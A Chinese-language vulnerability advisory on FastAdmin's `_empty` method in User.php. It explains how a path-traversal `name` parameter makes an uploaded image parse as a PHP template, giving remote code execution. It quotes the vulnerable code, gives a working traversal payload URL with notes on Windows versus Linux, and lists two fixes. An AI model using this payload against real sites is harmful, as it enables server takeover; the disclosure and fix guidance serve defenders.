影響版本:
V1.0.0.20180911_beta - V1.0.0.20200506_beta
目前看官方4天了,還沒有修復
漏洞代碼位置:https://github.com/karsonzhang/fastadmin/blob/master/application/index/controller/User.php
漏洞披露信息:https://github.com/karsonzhang/fastadmin/issues/73?spm=a2c4g.11174386.n2.3.428c1051tmy0pT
============================================
官方發布信息了:https://www.fastadmin.net/news/83.html
==========================
漏洞利用條件:
usercenter=>true
漏洞分析:
存在漏洞文件位置:
application/index/controller/User.php
/** * 空的請求 * @param $name * @return mixed */ public function _empty($name) { $data = Hook::listen("user_request_empty", $name); foreach ($data as $index => $datum) { $this->view->assign($datum); } return $this->view->fetch('user/' . $name); }
_empty函數接收$name遍歷,直接將$name返回視圖中:return $this->view->fetch($name); 攻擊者可通過上傳文件,例如圖片,傳入$name,fetch模板進行php模板解析,導致getshell。
渲染fetch實際使用的是thinkphp的解析模板函數,內容如下:
*/
public function fetch($template, $data = [], $config = [])
{
if ('' == pathinfo($template, PATHINFO_EXTENSION)) {
// 獲取模板文件名
$template = $this->parseTemplate($template);
}
// 模板不存在 拋出異常
if (!is_file($template)) {
throw new TemplateNotFoundException('template not exists:' . $template, $template);
}
// 記錄視圖信息
App::$debug && Log::record('[ VIEW ] ' . $template . ' [ ' . var_export(array_keys($data), true) . ' ]', 'info');
$this->template->fetch($template, $data, $config);
}
/**
* 渲染模板內容
* @access public

在驗證是否為模板文件,可以看到if (!is_file($template)) ,來判斷是否存在,如果存在就將文件進行php解析。
這里有一個小問題:
關於操作系統解析文件路徑的時候,linux和windwos is_file()函數實現不一樣。
1、linux判斷is_file() /demo/../../../../test 如果demo目錄不存在,就會返回false;
windows下無論這個目錄是否存在,均會返回true;
2、在linux下,is_file()函數判可用於判斷符號鏈接
3、在linux下,is_file函數會受到權限的影響,當前用戶權限不足或父目錄沒有設置+x權限時,is_file()會返回false
4、windows系統里面/和\ 都可以使用,但是在linux下只能使用/ 來分隔路徑,因此這會導致is_file()在不同系統下的返回結果不一致
5、is_file()判斷文件時,如果文件大小超過2^32時,會判斷失敗(PHP 的整數類型是有符號整型而且很多平台使用 32 位整型,對 2GB 以上的文件,一些文件系統函數可能返回無法預期的結果)
可以參考https://www.php.net/manual/zh/function.is-file.php
實驗如下:

漏洞驗證:
用戶登錄,進入個人頁面,修改上傳圖片

brup:

獲取到的地址:

payload:
http://www.demo.com/index.php/index/user/_empty?name=../../public/uploads/xxxxx/xxxxx.jpg
因is_file()在linux下/user目錄不存在,所以無法利用,除非可以創建或存在,可以手工創建public下創建user目錄
windows下通殺。
修復方案:
打開application/index/controller/User.php,找到大概第58行的_empty方法,有以下兩種修復方法:
一種修復方法是直接移除_empty方法,
另一種是將_empty方法改為
public function _empty($name) { if (!preg_match("/^([a-z0-9_]+)$/i", $name)) { $this->error(__('Invalid parameters')); } $data = Hook::listen("user_request_empty", $name); foreach ($data as $index => $datum) { $this->view->assign($datum); } return $this->view->fetch('user/' . $name); }
這個方法設計的用途主要是用於插件系統,便於插件開發者在處理前台用戶相關信息時可以直接使用index/user/custommethod的URL方式訪問到自定義的視圖,便於共用布局和JS。
